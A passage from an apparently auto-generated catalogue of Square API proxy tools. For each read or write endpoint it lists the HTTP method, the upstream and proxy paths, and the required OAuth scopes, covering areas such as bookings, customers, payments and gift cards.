/api/v1/square/v2/webhooks/subscriptions/{subscription_id}. Scopes: none. square_get_v1_by_location_id_orders (read) — V1 List Orders via GET /v1/{location_id}/orders GET /api/v1/square/v1/{location_id}/orders. Scopes: ORDERS_READ. square_get_v1_by_location_id_orders_by_order_id (read) — V1 Retrieve Order via GET /v1/{location_id}/orders/{order_id} GET /api/v1/square/v1/{location_id}/orders/{order_id}. Scopes: ORDERS_READ. square_get_v2_bank_accounts (read) — List Bank Accounts via GET /v2/bank-accounts GET /api/v1/square/v2/bank-accounts. Scopes: BANK_ACCOUNTS_READ. square_get_v2_bank_accounts_by_bank_account_id (read) — Get Bank Account via GET /v2/bank-accounts/{bank_account_id} GET /api/v1/square/v2/bank-accounts/{bank_account_id}. Scopes: BANK_ACCOUNTS_READ. square_get_v2_bank_accounts_by_v1_id_by_v1_bank_account_id (read) — Get Bank Account By V1 Id via GET /v2/bank-accounts/by-v1-id/{v1_bank_account_id} GET /api/v1/square/v2/bank-accounts/by-v1-id/{v1_bank_account_id}. Scopes: BANK_ACCOUNTS_READ. square_get_v2_bookings (read) — List Bookings via GET /v2/bookings GET /api/v1/square/v2/bookings. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_business_booking_profile (read) — Retrieve Business Booking Profile via GET /v2/bookings/business-booking-profile GET /api/v1/square/v2/bookings/business-booking-profile. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_get_v2_bookings_by_booking_id (read) — Retrieve Booking via GET /v2/bookings/{booking_id} GET /api/v1/square/v2/bookings/{booking_id}. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_by_booking_id_custom_attributes (read) — List Booking Custom Attributes via GET /v2/bookings/{booking_id}/custom-attributes GET /api/v1/square/v2/bookings/{booking_id}/custom-attributes. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_by_booking_id_custom_attributes_by_key (read) — Retrieve Booking Custom Attribute via GET /v2/bookings/{booking_id}/custom-attributes/{key} GET /api/v1/square/v2/bookings/{booking_id}/custom-attributes/{key}. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_custom_attribute_definitions (read) — List Booking Custom Attribute Definitions via GET /v2/bookings/custom-attribute-definitions GET /api/v1/square/v2/bookings/custom-attribute-definitions. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_custom_attribute_definitions_by_key (read) — Retrieve Booking Custom Attribute Definition via GET /v2/bookings/custom-attribute-definitions/{key} GET /api/v1/square/v2/bookings/custom-attribute-definitions/{key}. Scopes: APPOINTMENTS_READ. square_get_v2_bookings_location_booking_profiles (read) — List Location Booking Profiles via GET /v2/bookings/location-booking-profiles GET /api/v1/square/v2/bookings/location-booking-profiles. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_get_v2_bookings_location_booking_profiles_by_location_id (read) — Retrieve Location Booking Profile via GET /v2/bookings/location-booking-profiles/{location_id} GET /api/v1/square/v2/bookings/location-booking-profiles/{location_id}. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_get_v2_bookings_team_member_booking_profiles (read) — List Team Member Booking Profiles via GET /v2/bookings/team-member-booking-profiles GET /api/v1/square/v2/bookings/team-member-booking-profiles. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_get_v2_bookings_team_member_booking_profiles_by_team_member_id (read) — Retrieve Team Member Booking Profile via GET /v2/bookings/team-member-booking-profiles/{team_member_id} GET /api/v1/square/v2/bookings/team-member-booking-profiles/{team_member_id}. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_get_v2_cards (read) — List Cards via GET /v2/cards GET /api/v1/square/v2/cards. Scopes: none. square_get_v2_cards_by_card_id (read) — Retrieve Card via GET /v2/cards/{card_id} GET /api/v1/square/v2/cards/{card_id}. Scopes: none. square_get_v2_cash_drawers_shifts (read) — List Cash Drawer Shifts via GET /v2/cash-drawers/shifts GET /api/v1/square/v2/cash-drawers/shifts. Scopes: CASH_DRAWER_READ. square_get_v2_cash_drawers_shifts_by_shift_id (read) — Retrieve Cash Drawer Shift via GET /v2/cash-drawers/shifts/{shift_id} GET /api/v1/square/v2/cash-drawers/shifts/{shift_id}. Scopes: CASH_DRAWER_READ. square_get_v2_cash_drawers_shifts_by_shift_id_events (read) — List Cash Drawer Shift Events via GET /v2/cash-drawers/shifts/{shift_id}/events GET /api/v1/square/v2/cash-drawers/shifts/{shift_id}/events. Scopes: CASH_DRAWER_READ. square_get_v2_catalog_info (read) — Catalog Info via GET /v2/catalog/info GET /api/v1/square/v2/catalog/info. Scopes: ITEMS_READ. square_get_v2_catalog_list (read) — List Catalog via GET /v2/catalog/list GET /api/v1/square/v2/catalog/list. Scopes: ITEMS_READ. square_get_v2_catalog_object_by_object_id (read) — Retrieve Catalog Object via GET /v2/catalog/object/{object_id} GET /api/v1/square/v2/catalog/object/{object_id}. Scopes: ITEMS_READ. square_get_v2_channels (read) — List Channels via GET /v2/channels GET /api/v1/square/v2/channels. Scopes: CHANNELS_READ. square_get_v2_channels_by_channel_id (read) — Retrieve Channel via GET /v2/channels/{channel_id} GET /api/v1/square/v2/channels/{channel_id}. Scopes: CHANNELS_READ. square_get_v2_customers (read) — List Customers via GET /v2/customers GET /api/v1/square/v2/customers. Scopes: CUSTOMERS_READ. square_get_v2_customers_by_customer_id (read) — Retrieve Customer via GET /v2/customers/{customer_id} GET /api/v1/square/v2/customers/{customer_id}. Scopes: CUSTOMERS_READ. square_get_v2_customers_by_customer_id_custom_attributes (read) — List Customer Custom Attributes via GET /v2/customers/{customer_id}/custom-attributes GET /api/v1/square/v2/customers/{customer_id}/custom-attributes. Scopes: CUSTOMERS_READ. square_get_v2_customers_by_customer_id_custom_attributes_by_key (read) — Retrieve Customer Custom Attribute via GET /v2/customers/{customer_id}/custom-attributes/{key} GET /api/v1/square/v2/customers/{customer_id}/custom-attributes/{key}. Scopes: CUSTOMERS_READ. square_get_v2_customers_custom_attribute_definitions (read) — List Customer Custom Attribute Definitions via GET /v2/customers/custom-attribute-definitions GET /api/v1/square/v2/customers/custom-attribute-definitions. Scopes: CUSTOMERS_READ. square_get_v2_customers_custom_attribute_definitions_by_key (read) — Retrieve Customer Custom Attribute Definition via GET /v2/customers/custom-attribute-definitions/{key} GET /api/v1/square/v2/customers/custom-attribute-definitions/{key}. Scopes: CUSTOMERS_READ. square_get_v2_customers_groups (read) — List Customer Groups via GET /v2/customers/groups GET /api/v1/square/v2/customers/groups. Scopes: CUSTOMERS_READ. square_get_v2_customers_groups_by_group_id (read) — Retrieve Customer Group via GET /v2/customers/groups/{group_id} GET /api/v1/square/v2/customers/groups/{group_id}. Scopes: CUSTOMERS_READ. square_get_v2_customers_segments (read) — List Customer Segments via GET /v2/customers/segments GET /api/v1/square/v2/customers/segments. Scopes: CUSTOMERS_READ. square_get_v2_customers_segments_by_segment_id (read) — Retrieve Customer Segment via GET /v2/customers/segments/{segment_id} GET /api/v1/square/v2/customers/segments/{segment_id}. Scopes: CUSTOMERS_READ. square_get_v2_devices (read) — List Devices via GET /v2/devices GET /api/v1/square/v2/devices. Scopes: DEVICES_READ. square_get_v2_devices_by_device_id (read) — Get Device via GET /v2/devices/{device_id} GET /api/v1/square/v2/devices/{device_id}. Scopes: DEVICES_READ. square_get_v2_devices_codes (read) — List Device Codes via GET /v2/devices/codes GET /api/v1/square/v2/devices/codes. Scopes: DEVICE_CREDENTIAL_MANAGEMENT. square_get_v2_devices_codes_by_id (read) — Get Device Code via GET /v2/devices/codes/{id} GET /api/v1/square/v2/devices/codes/{id}. Scopes: DEVICE_CREDENTIAL_MANAGEMENT. square_get_v2_disputes (read) — List Disputes via GET /v2/disputes GET /api/v1/square/v2/disputes. Scopes: DISPUTES_READ. square_get_v2_disputes_by_dispute_id (read) — Retrieve Dispute via GET /v2/disputes/{dispute_id} GET /api/v1/square/v2/disputes/{dispute_id}. Scopes: DISPUTES_READ. square_get_v2_disputes_by_dispute_id_evidence (read) — List Dispute Evidence via GET /v2/disputes/{dispute_id}/evidence GET /api/v1/square/v2/disputes/{dispute_id}/evidence. Scopes: DISPUTES_READ. square_get_v2_disputes_by_dispute_id_evidence_by_evidence_id (read) — Retrieve Dispute Evidence via GET /v2/disputes/{dispute_id}/evidence/{evidence_id} GET /api/v1/square/v2/disputes/{dispute_id}/evidence/{evidence_id}. Scopes: DISPUTES_READ. square_get_v2_employees (read) — List Employees via GET /v2/employees GET /api/v1/square/v2/employees. Scopes: EMPLOYEES_READ. square_get_v2_employees_by_id (read) — Retrieve Employee via GET /v2/employees/{id} GET /api/v1/square/v2/employees/{id}. Scopes: EMPLOYEES_READ. square_get_v2_events_types (read) — List Event Types via GET /v2/events/types GET /api/v1/square/v2/events/types. Scopes: none. square_get_v2_gift_cards (read) — List Gift Cards via GET /v2/gift-cards GET /api/v1/square/v2/gift-cards. Scopes: GIFTCARDS_READ. square_get_v2_gift_cards_activities (read) — List Gift Card Activities via GET /v2/gift-cards/activities GET /api/v1/square/v2/gift-cards/activities. Scopes: GIFTCARDS_READ. square_get_v2_gift_cards_by_id (read) — Retrieve Gift Card via GET /v2/gift-cards/{id} GET /api/v1/square/v2/gift-cards/{id}. Scopes: GIFTCARDS_READ. square_get_v2_inventory_adjustment_by_adjustment_id (read) — Deprecated Retrieve Inventory Adjustment via GET /v2/inventory/adjustment/{adjustment_id} GET /api/v1/square/v2/inventory/adjustment/{adjustment_id}. Scopes: INVENTORY_READ. square_get_v2_inventory_adjustment_reasons (read) — List Inventory Adjustment Reasons via GET /v2/inventory/adjustment-reasons GET /api/v1/square/v2/inventory/adjustment-reasons. Scopes: INVENTORY_READ. square_get_v2_inventory_adjustments_by_adjustment_id (read) — Retrieve Inventory Adjustment via GET /v2/inventory/adjustments/{adjustment_id} GET /api/v1/square/v2/inventory/adjustments/{adjustment_id}. Scopes: INVENTORY_READ. square_get_v2_inventory_by_catalog_object_id (read) — Retrieve Inventory Count via GET /v2/inventory/{catalog_object_id} GET /api/v1/square/v2/inventory/{catalog_object_id}. Scopes: INVENTORY_READ. square_get_v2_inventory_by_catalog_object_id_changes (read) — Retrieve Inventory Changes via GET /v2/inventory/{catalog_object_id}/changes GET /api/v1/square/v2/inventory/{catalog_object_id}/changes. Scopes: INVENTORY_READ. square_get_v2_inventory_physical_count_by_physical_count_id (read) — Deprecated Retrieve Inventory Physical Count via GET /v2/inventory/physical-count/{physical_count_id} GET /api/v1/square/v2/inventory/physical-count/{physical_count_id}. Scopes: INVENTORY_READ. square_get_v2_inventory_physical_counts_by_physical_count_id (read) — Retrieve Inventory Physical Count via GET /v2/inventory/physical-counts/{physical_count_id} GET /api/v1/square/v2/inventory/physical-counts/{physical_count_id}. Scopes: INVENTORY_READ. square_get_v2_invoices (read) — List Invoices via GET /v2/invoices GET /api/v1/square/v2/invoices. Scopes: INVOICES_READ. square_get_v2_invoices_by_invoice_id (read) — Get Invoice via GET /v2/invoices/{invoice_id} GET /api/v1/square/v2/invoices/{invoice_id}. Scopes: INVOICES_READ. square_get_v2_labor_break_types (read) — List Break Types via GET /v2/labor/break-types GET /api/v1/square/v2/labor/break-types. Scopes: TIMECARDS_SETTINGS_READ. square_get_v2_labor_break_types_by_id (read) — Get Break Type via GET /v2/labor/break-types/{id} GET /api/v1/square/v2/labor/break-types/{id}. Scopes: TIMECARDS_SETTINGS_READ. square_get_v2_labor_employee_wages (read) — List Employee Wages via GET /v2/labor/employee-wages GET /api/v1/square/v2/labor/employee-wages. Scopes: EMPLOYEES_READ. square_get_v2_labor_employee_wages_by_id (read) — Get Employee Wage via GET /v2/labor/employee-wages/{id} GET /api/v1/square/v2/labor/employee-wages/{id}. Scopes: EMPLOYEES_READ. square_get_v2_labor_scheduled_shifts_by_id (read) — Retrieve Scheduled Shift via GET /v2/labor/scheduled-shifts/{id} GET /api/v1/square/v2/labor/scheduled-shifts/{id}. Scopes: TIMECARDS_READ. square_get_v2_labor_shifts_by_id (read) — Get Shift via GET /v2/labor/shifts/{id} GET /api/v1/square/v2/labor/shifts/{id}. Scopes: TIMECARDS_READ. square_get_v2_labor_team_member_wages (read) — List Team Member Wages via GET /v2/labor/team-member-wages GET /api/v1/square/v2/labor/team-member-wages. Scopes: EMPLOYEES_READ. square_get_v2_labor_team_member_wages_by_id (read) — Get Team Member Wage via GET /v2/labor/team-member-wages/{id} GET /api/v1/square/v2/labor/team-member-wages/{id}. Scopes: EMPLOYEES_READ. square_get_v2_labor_timecards_by_id (read) — Retrieve Timecard via GET /v2/labor/timecards/{id} GET /api/v1/square/v2/labor/timecards/{id}. Scopes: TIMECARDS_READ. square_get_v2_labor_workweek_configs (read) — List Workweek Configs via GET /v2/labor/workweek-configs GET /api/v1/square/v2/labor/workweek-configs. Scopes: TIMECARDS_SETTINGS_READ. square_get_v2_locations (read) — List Locations via GET /v2/locations GET /api/v1/square/v2/locations. Scopes: MERCHANT_PROFILE_READ. square_get_v2_locations_by_location_id (read) — Retrieve Location via GET /v2/locations/{location_id} GET /api/v1/square/v2/locations/{location_id}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_locations_by_location_id_custom_attributes (read) — List Location Custom Attributes via GET /v2/locations/{location_id}/custom-attributes GET /api/v1/square/v2/locations/{location_id}/custom-attributes. Scopes: MERCHANT_PROFILE_READ. square_get_v2_locations_by_location_id_custom_attributes_by_key (read) — Retrieve Location Custom Attribute via GET /v2/locations/{location_id}/custom-attributes/{key} GET /api/v1/square/v2/locations/{location_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_locations_by_location_id_transactions (read) — List Transactions via GET /v2/locations/{location_id}/transactions GET /api/v1/square/v2/locations/{location_id}/transactions. Scopes: PAYMENTS_READ. square_get_v2_locations_by_location_id_transactions_by_transaction_id (read) — Retrieve Transaction via GET /v2/locations/{location_id}/transactions/{transaction_id} GET /api/v1/square/v2/locations/{location_id}/transactions/{transaction_id}. Scopes: PAYMENTS_READ. square_get_v2_locations_custom_attribute_definitions (read) — List Location Custom Attribute Definitions via GET /v2/locations/custom-attribute-definitions GET /api/v1/square/v2/locations/custom-attribute-definitions. Scopes: MERCHANT_PROFILE_READ. square_get_v2_locations_custom_attribute_definitions_by_key (read) — Retrieve Location Custom Attribute Definition via GET /v2/locations/custom-attribute-definitions/{key} GET /api/v1/square/v2/locations/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_loyalty_accounts_by_account_id (read) — Retrieve Loyalty Account via GET /v2/loyalty/accounts/{account_id} GET /api/v1/square/v2/loyalty/accounts/{account_id}. Scopes: LOYALTY_READ. square_get_v2_loyalty_programs (read) — List Loyalty Programs via GET /v2/loyalty/programs GET /api/v1/square/v2/loyalty/programs. Scopes: LOYALTY_READ. square_get_v2_loyalty_programs_by_program_id (read) — Retrieve Loyalty Program via GET /v2/loyalty/programs/{program_id} GET /api/v1/square/v2/loyalty/programs/{program_id}. Scopes: LOYALTY_READ. square_get_v2_loyalty_programs_by_program_id_promotions (read) — List Loyalty Promotions via GET /v2/loyalty/programs/{program_id}/promotions GET /api/v1/square/v2/loyalty/programs/{program_id}/promotions. Scopes: LOYALTY_READ. square_get_v2_loyalty_programs_by_program_id_promotions_by_promotion_id (read) — Retrieve Loyalty Promotion via GET /v2/loyalty/programs/{program_id}/promotions/{promotion_id} GET /api/v1/square/v2/loyalty/programs/{program_id}/promotions/{promotion_id}. Scopes: LOYALTY_READ. square_get_v2_loyalty_rewards_by_reward_id (read) — Retrieve Loyalty Reward via GET /v2/loyalty/rewards/{reward_id} GET /api/v1/square/v2/loyalty/rewards/{reward_id}. Scopes: LOYALTY_READ. square_get_v2_merchants (read) — List Merchants via GET /v2/merchants GET /api/v1/square/v2/merchants. Scopes: MERCHANT_PROFILE_READ. square_get_v2_merchants_by_merchant_id (read) — Retrieve Merchant via GET /v2/merchants/{merchant_id} GET /api/v1/square/v2/merchants/{merchant_id}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_merchants_by_merchant_id_custom_attributes (read) — List Merchant Custom Attributes via GET /v2/merchants/{merchant_id}/custom-attributes GET /api/v1/square/v2/merchants/{merchant_id}/custom-attributes. Scopes: MERCHANT_PROFILE_READ. square_get_v2_merchants_by_merchant_id_custom_attributes_by_key (read) — Retrieve Merchant Custom Attribute via GET /v2/merchants/{merchant_id}/custom-attributes/{key} GET /api/v1/square/v2/merchants/{merchant_id}/custom-attributes/{key}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_merchants_custom_attribute_definitions (read) — List Merchant Custom Attribute Definitions via GET /v2/merchants/custom-attribute-definitions GET /api/v1/square/v2/merchants/custom-attribute-definitions. Scopes: MERCHANT_PROFILE_READ. square_get_v2_merchants_custom_attribute_definitions_by_key (read) — Retrieve Merchant Custom Attribute Definition via GET /v2/merchants/custom-attribute-definitions/{key} GET /api/v1/square/v2/merchants/custom-attribute-definitions/{key}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_online_checkout_location_settings_by_location_id (read) — Retrieve Location Settings via GET /v2/online-checkout/location-settings/{location_id} GET /api/v1/square/v2/online-checkout/location-settings/{location_id}. Scopes: MERCHANT_PROFILE_READ. square_get_v2_online_checkout_merchant_settings (read) — Retrieve Merchant Settings via GET /v2/online-checkout/merchant-settings GET /api/v1/square/v2/online-checkout/merchant-settings. Scopes: MERCHANT_PROFILE_READ, PAYMENT_METHODS_READ. square_get_v2_online_checkout_payment_links (read) — List Payment Links via GET /v2/online-checkout/payment-links GET /api/v1/square/v2/online-checkout/payment-links. Scopes: ORDERS_READ. square_get_v2_online_checkout_payment_links_by_id (read) — Retrieve Payment Link via GET /v2/online-checkout/payment-links/{id} GET /api/v1/square/v2/online-checkout/payment-links/{id}. Scopes: ORDERS_READ. square_get_v2_orders_by_order_id (read) — Retrieve Order via GET /v2/orders/{order_id} GET /api/v1/square/v2/orders/{order_id}. Scopes: ORDERS_READ. square_get_v2_orders_by_order_id_custom_attributes (read) — List Order Custom Attributes via GET /v2/orders/{order_id}/custom-attributes GET /api/v1/square/v2/orders/{order_id}/custom-attributes. Scopes: ORDERS_READ. square_get_v2_orders_by_order_id_custom_attributes_by_custom_attribute_key (read) — Retrieve Order Custom Attribute via GET /v2/orders/{order_id}/custom-attributes/{custom_attribute_key} GET /api/v1/square/v2/orders/{order_id}/custom-attributes/{custom_attribute_key}. Scopes: ORDERS_READ. square_get_v2_orders_custom_attribute_definitions (read) — List Order Custom Attribute Definitions via GET /v2/orders/custom-attribute-definitions GET /api/v1/square/v2/orders/custom-attribute-definitions. Scopes: ORDERS_READ. square_get_v2_orders_custom_attribute_definitions_by_key (read) — Retrieve Order Custom Attribute Definition via GET /v2/orders/custom-attribute-definitions/{key} GET /api/v1/square/v2/orders/custom-attribute-definitions/{key}. Scopes: ORDERS_READ. square_get_v2_payments (read) — List Payments via GET /v2/payments GET /api/v1/square/v2/payments. Scopes: PAYMENTS_READ. square_get_v2_payments_by_payment_id (read) — Get Payment via GET /v2/payments/{payment_id} GET /api/v1/square/v2/payments/{payment_id}. Scopes: PAYMENTS_READ. square_get_v2_payouts (read) — List Payouts via GET /v2/payouts GET /api/v1/square/v2/payouts. Scopes: none. square_get_v2_payouts_by_payout_id (read) — Get Payout via GET /v2/payouts/{payout_id} GET /api/v1/square/v2/payouts/{payout_id}. Scopes: none. square_get_v2_payouts_by_payout_id_payout_entries (read) — List Payout Entries via GET /v2/payouts/{payout_id}/payout-entries GET /api/v1/square/v2/payouts/{payout_id}/payout-entries. Scopes: none. square_get_v2_refunds (read) — List Payment Refunds via GET /v2/refunds GET /api/v1/square/v2/refunds. Scopes: PAYMENTS_READ. square_get_v2_refunds_by_refund_id (read) — Get Payment Refund via GET /v2/refunds/{refund_id} GET /api/v1/square/v2/refunds/{refund_id}. Scopes: PAYMENTS_READ. square_get_v2_sites (read) — List Sites via GET /v2/sites GET /api/v1/square/v2/sites. Scopes: ONLINE_STORE_SITE_READ. square_get_v2_sites_by_site_id_snippet (read) — Retrieve Snippet via GET /v2/sites/{site_id}/snippet GET /api/v1/square/v2/sites/{site_id}/snippet. Scopes: ONLINE_STORE_SNIPPETS_READ. square_get_v2_subscriptions_by_subscription_id (read) — Retrieve Subscription via GET /v2/subscriptions/{subscription_id} GET /api/v1/square/v2/subscriptions/{subscription_id}. Scopes: SUBSCRIPTIONS_READ. square_get_v2_subscriptions_by_subscription_id_events (read) — List Subscription Events via GET /v2/subscriptions/{subscription_id}/events GET /api/v1/square/v2/subscriptions/{subscription_id}/events. Scopes: SUBSCRIPTIONS_READ. square_get_v2_team_members_by_team_member_id (read) — Retrieve Team Member via GET /v2/team-members/{team_member_id} GET /api/v1/square/v2/team-members/{team_member_id}. Scopes: EMPLOYEES_READ. square_get_v2_team_members_by_team_member_id_wage_setting (read) — Retrieve Wage Setting via GET /v2/team-members/{team_member_id}/wage-setting GET /api/v1/square/v2/team-members/{team_member_id}/wage-setting. Scopes: EMPLOYEES_READ. square_get_v2_team_members_jobs (read) — List Jobs via GET /v2/team-members/jobs GET /api/v1/square/v2/team-members/jobs. Scopes: EMPLOYEES_READ. square_get_v2_team_members_jobs_by_job_id (read) — Retrieve Job via GET /v2/team-members/jobs/{job_id} GET /api/v1/square/v2/team-members/jobs/{job_id}. Scopes: EMPLOYEES_READ. square_get_v2_terminals_actions_by_action_id (read) — Get Terminal Action via GET /v2/terminals/actions/{action_id} GET /api/v1/square/v2/terminals/actions/{action_id}. Scopes: PAYMENTS_READ. square_get_v2_terminals_checkouts_by_checkout_id (read) — Get Terminal Checkout via GET /v2/terminals/checkouts/{checkout_id} GET /api/v1/square/v2/terminals/checkouts/{checkout_id}. Scopes: PAYMENTS_READ. square_get_v2_terminals_refunds_by_terminal_refund_id (read) — Get Terminal Refund via GET /v2/terminals/refunds/{terminal_refund_id} GET /api/v1/square/v2/terminals/refunds/{terminal_refund_id}. Scopes: PAYMENTS_READ. square_get_v2_transfer_orders_by_transfer_order_id (read) — Retrieve Transfer Order via GET /v2/transfer-orders/{transfer_order_id} GET /api/v1/square/v2/transfer-orders/{transfer_order_id}. Scopes: INVENTORY_READ. square_get_v2_vendors_by_vendor_id (read) — Retrieve Vendor via GET /v2/vendors/{vendor_id} GET /api/v1/square/v2/vendors/{vendor_id}. Scopes: VENDOR_READ. square_get_v2_webhooks_event_types (read) — List Webhook Event Types via GET /v2/webhooks/event-types GET /api/v1/square/v2/webhooks/event-types. Scopes: none. square_get_v2_webhooks_subscriptions (read) — List Webhook Subscriptions via GET /v2/webhooks/subscriptions GET /api/v1/square/v2/webhooks/subscriptions. Scopes: none. square_get_v2_webhooks_subscriptions_by_subscription_id (read) — Retrieve Webhook Subscription via GET /v2/webhooks/subscriptions/{subscription_id} GET /api/v1/square/v2/webhooks/subscriptions/{subscription_id}. Scopes: none. square_post_v2_apple_pay_domains (write) — Register Domain via POST /v2/apple-pay/domains POST /api/v1/square/v2/apple-pay/domains. Scopes: none. square_post_v2_bank_accounts (write) — Create Bank Account via POST /v2/bank-accounts POST /api/v1/square/v2/bank-accounts. Scopes: BANK_ACCOUNTS_WRITE. square_post_v2_bank_accounts_by_bank_account_id_disable (write) — Disable Bank Account via POST /v2/bank-accounts/{bank_account_id}/disable POST /api/v1/square/v2/bank-accounts/{bank_account_id}/disable. Scopes: BANK_ACCOUNTS_WRITE. square_post_v2_bookings (write) — Create Booking via POST /v2/bookings POST /api/v1/square/v2/bookings. Scopes: APPOINTMENTS_WRITE. square_post_v2_bookings_availability_search (write) — Search Availability via POST /v2/bookings/availability/search POST /api/v1/square/v2/bookings/availability/search. Scopes: APPOINTMENTS_READ. square_post_v2_bookings_bulk_retrieve (write) — Bulk Retrieve Bookings via POST /v2/bookings/bulk-retrieve POST /api/v1/square/v2/bookings/bulk-retrieve. Scopes: APPOINTMENTS_READ. square_post_v2_bookings_by_booking_id_cancel (write) — Cancel Booking via POST /v2/bookings/{booking_id}/cancel POST /api/v1/square/v2/bookings/{booking_id}/cancel. Scopes: APPOINTMENTS_WRITE. square_post_v2_bookings_custom_attribute_definitions (write) — Create Booking Custom Attribute Definition via POST /v2/bookings/custom-attribute-definitions POST /api/v1/square/v2/bookings/custom-attribute-definitions. Scopes: APPOINTMENTS_WRITE. square_post_v2_bookings_custom_attributes_bulk_delete (write) — Bulk Delete Booking Custom Attributes via POST /v2/bookings/custom-attributes/bulk-delete POST /api/v1/square/v2/bookings/custom-attributes/bulk-delete. Scopes: APPOINTMENTS_WRITE. square_post_v2_bookings_custom_attributes_bulk_upsert (write) — Bulk Upsert Booking Custom Attributes via POST /v2/bookings/custom-attributes/bulk-upsert POST /api/v1/square/v2/bookings/custom-attributes/bulk-upsert. Scopes: APPOINTMENTS_WRITE. square_post_v2_bookings_team_member_booking_profiles_bulk_retrieve (write) — Bulk Retrieve Team Member Booking Profiles via POST /v2/bookings/team-member-booking-profiles/bulk-retrieve POST /api/v1/square/v2/bookings/team-member-booking-profiles/bulk-retrieve. Scopes: APPOINTMENTS_BUSINESS_SETTINGS_READ. square_post_v2_cards (write) — Create Card via POST /v2/cards POST /api/v1/square/v2/cards. Scopes: none. square_post_v2_cards_by_card_id_disable (write) — Disable Card via POST /v2/cards/{card_id}/disable POST /api/v1/square/v2/cards/{card_id}/disable. Scopes: none. square_post_v2_catalog_batch_delete (write) — Batch Delete Catalog Objects via POST /v2/catalog/batch-delete POST /api/v1/square/v2/catalog/batch-delete. Scopes: ITEMS_WRITE. square_post_v2_catalog_batch_retrieve (write) — Batch Retrieve Catalog Objects via POST /v2/catalog/batch-retrieve POST /api/v1/square/v2/catalog/batch-retrieve. Scopes: ITEMS_READ. square_post_v2_catalog_batch_upsert (write) — Batch Upsert Catalog Objects via POST /v2/catalog/batch-upsert POST /api/v1/square/v2/catalog/batch-upsert. Scopes: ITEMS_WRITE. square_post_v2_catalog_object (write) — Upsert Catalog Object via POST /v2/catalog/object POST /api/v1/square/v2/catalog/object. Scopes: ITEMS_WRITE. square_post_v2_catalog_search (write) — Search Catalog Objects via POST /v2/catalog/search POST /api/v1/square/v2/catalog/search. Scopes: ITEMS_READ. square_post_v2_catalog_search_catalog_items (write) — Search Catalog Items via POST /v2/catalog/search-catalog-items POST /api/v1/square/v2/catalog/search-catalog-items. Scopes: ITEMS_READ. square_post_v2_catalog_update_item_modifier_lists (write) — Update Item Modifier Lists via POST /v2/catalog/update-item-modifier-lists POST /api/v1/square/v2/catalog/update-item-modifier-lists. Scopes: ITEMS_WRITE. square_post_v2_catalog_update_item_taxes (write) — Update Item Taxes via POST /v2/catalog/update-item-taxes POST /api/v1/square/v2/catalog/update-item-taxes. Scopes: ITEMS_WRITE. square_post_v2_channels_bulk_retrieve (write) — Bulk Retrieve Channels via POST /v2/channels/bulk-retrieve POST /api/v1/square/v2/channels/bulk-retrieve. Scopes: CHANNELS_READ. square_post_v2_customers (write) — Create Customer via POST /v2/customers POST /api/v1/square/v2/customers. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_bulk_create (write) — Bulk Create Customers via POST /v2/customers/bulk-create POST /api/v1/square/v2/customers/bulk-create. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_bulk_delete (write) — Bulk Delete Customers via POST /v2/customers/bulk-delete POST /api/v1/square/v2/customers/bulk-delete. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_bulk_retrieve (write) — Bulk Retrieve Customers via POST /v2/customers/bulk-retrieve POST /api/v1/square/v2/customers/bulk-retrieve. Scopes: CUSTOMERS_READ. square_post_v2_customers_bulk_update (write) — Bulk Update Customers via POST /v2/customers/bulk-update POST /api/v1/square/v2/customers/bulk-update. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_by_customer_id_cards (write) — Create Customer Card via POST /v2/customers/{customer_id}/cards POST /api/v1/square/v2/customers/{customer_id}/cards. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_by_customer_id_custom_attributes_by_key (write) — Upsert Customer Custom Attribute via POST /v2/customers/{customer_id}/custom-attributes/{key} POST /api/v1/square/v2/customers/{customer_id}/custom-attributes/{key}. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_custom_attribute_definitions (write) — Create Customer Custom Attribute Definition via POST /v2/customers/custom-attribute-definitions POST /api/v1/square/v2/customers/custom-attribute-definitions. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_custom_attributes_bulk_upsert (write) — Bulk Upsert Customer Custom Attributes via POST /v2/customers/custom-attributes/bulk-upsert POST /api/v1/square/v2/customers/custom-attributes/bulk-upsert. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_groups (write) — Create Customer Group via POST /v2/customers/groups POST /api/v1/square/v2/customers/groups. Scopes: CUSTOMERS_WRITE. square_post_v2_customers_search (write) — Search Customers via POST /v2/customers/search POST /api/v1/square/v2/customers/search. Scopes: CUSTOMERS_READ. square_post_v2_devices_codes (write) — Create Device Code via POST /v2/devices/codes POST /api/v1/square/v2/devices/codes. Scopes: DEVICE_CREDENTIAL_MANAGEMENT. square_post_v2_disputes_by_dispute_id_accept (write) — Accept Dispute via POST /v2/disputes/{dispute_id}/accept POST /api/v1/square/v2/disputes/{dispute_id}/accept. Scopes: DISPUTES_WRITE. square_post_v2_disputes_by_dispute_id_evidence_text (write) — Create Dispute Evidence Text via POST /v2/disputes/{dispute_id}/evidence-text POST /api/v1/square/v2/disputes/{dispute_id}/evidence-text. Scopes: DISPUTES_WRITE. square_post_v2_disputes_by_dispute_id_submit_evidence (write) — Submit Evidence via POST /v2/disputes/{dispute_id}/submit-evidence POST /api/v1/square/v2/disputes/{dispute_id}/submit-evidence. Scopes: DISPUTES_WRITE. square_post_v2_events (write) — Search Events via POST /v2/events POST /api/v1/square/v2/events. Scopes: none. square_post_v2_gift_cards (write) — Create Gift Card via POST /v2/gift-cards POST /api/v1/square/v2/gift-cards. Scopes: 